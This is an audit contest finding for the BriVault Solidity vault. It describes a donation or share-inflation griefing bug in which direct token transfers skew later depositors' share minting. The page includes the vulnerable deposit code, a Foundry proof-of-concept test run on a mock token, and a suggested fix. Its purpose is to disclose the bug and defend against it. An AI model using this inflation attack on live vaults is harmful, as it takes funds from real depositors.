BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Griefing the depositor by directly transferring the amount to vault

hunterspartan5

Root + Impact

Description

  • In the deposit function the amount of tokens to be minted for the user depends on the finalizedVaultAsset ie: nothing but balance of the vault contract.Attacker can directly transfer asset to the vault contract, this will increase the balanceOf the vault, and this balanceOf is actually used to calculate the amount of shares to be minted. This will cause greifing to the later depositors. The depositors will not get the intended amount of shares they should get or even zero shares if the amount directly transferred to the vault is very large.

// Root cause in the codebase with @> marks to highlight the relevant section
function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
​
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
​
uint256 fee = _getParticipationFee(assets);
// charge on a percentage basis points
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
​
uint256 stakeAsset = assets - fee;
​
stakedAsset[receiver] = stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
​
​
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
​
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
​
_mint(msg.sender, participantShares);
​
​
emit deposited (receiver, stakeAsset);
​
return participantShares;
}
​
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply(); // total minted BTT shares so far
​
if (totalShares == 0 || balanceOfVault == 0) {
// First depositor: 1:1 ratio
return assets;
}
​
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}

Risk

Likelihood:

  • When the attacker is the first to make the deposit and mints share for himself, then attacker directly transfers tokens to the vault.

Impact:

  • The later depositors do not get intended amount of shares minted to them, causing them a loss.

Proof of Concept

  • This poc covers this case -

  • Scenario A (grief): user1 deposits 1 ETH, then directly transfers 19 ETH to the vault, then user2 deposits 20 ETH → victimSharesGrief.

  • Scenario B (baseline): revert to just after user1's 1 ETH deposit (no prefund), then user2 deposits 20 ETH → victimSharesBaseline.

  • The test asserts victimSharesBaseline > victimSharesGrief and emits the share difference.

function test_ShareDifference_BaselineVsPrefund() public {
vm.startPrank(user1);
mockToken.approve(address(briVault), type(uint256).max);
​
uint256 attackerShares = briVault.deposit(1 ether, user1);
uint256 attackerStake = 1 ether - ((1 ether * participationFeeBsp) / 10_000);
assertEq(attackerShares, attackerStake, "attacker shares should equal stake after fee");
vm.stopPrank();
​
uint256 snap = vm.snapshot();
​
​
// Scenario A: Prefund (grief) then victim deposits
vm.prank(user1);
mockToken.transfer(address(briVault), 19 ether);
​
​
uint256 vaultAfterPrefund = mockToken.balanceOf(address(briVault));
assertEq(vaultAfterPrefund, attackerStake + 19 ether, "vault underlying mismatch after prefund");
​
​
vm.startPrank(user2);
mockToken.approve(address(briVault), type(uint256).max);
uint256 victimSharesGrief = briVault.deposit(20 ether, user2);
vm.stopPrank();
​
​
vm.revertTo(snap);
​
​
// Scenario B: Baseline (no prefund) victim deposits
vm.startPrank(user2);
mockToken.approve(address(briVault), type(uint256).max);
uint256 victimSharesBaseline = briVault.deposit(20 ether, user2);
vm.stopPrank();
​
​
// Assertions
​
assertTrue(victimSharesBaseline > victimSharesGrief, "Baseline shares should exceed griefed shares");
​
uint256 diff;
if (victimSharesBaseline >= victimSharesGrief) {
diff = victimSharesBaseline - victimSharesGrief;
} else {
diff = 0;
}
​
emit log_named_uint("attackerStake (after fee)", attackerStake);
emit log_named_uint("vaultAfterPrefund", vaultAfterPrefund);
emit log_named_uint("victimShares_grief", victimSharesGrief);
emit log_named_uint("victimShares_baseline", victimSharesBaseline);
emit log_named_uint("difference_baseline_minus_grief", diff);
}

Recommended Mitigation

  • Try to use a state variable that tracks the amount of assets deposited and that too should be inside the deposit function. And this variable should be used while calculating the amount of shares to be minted to the users.

- remove this code
+ add this code
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!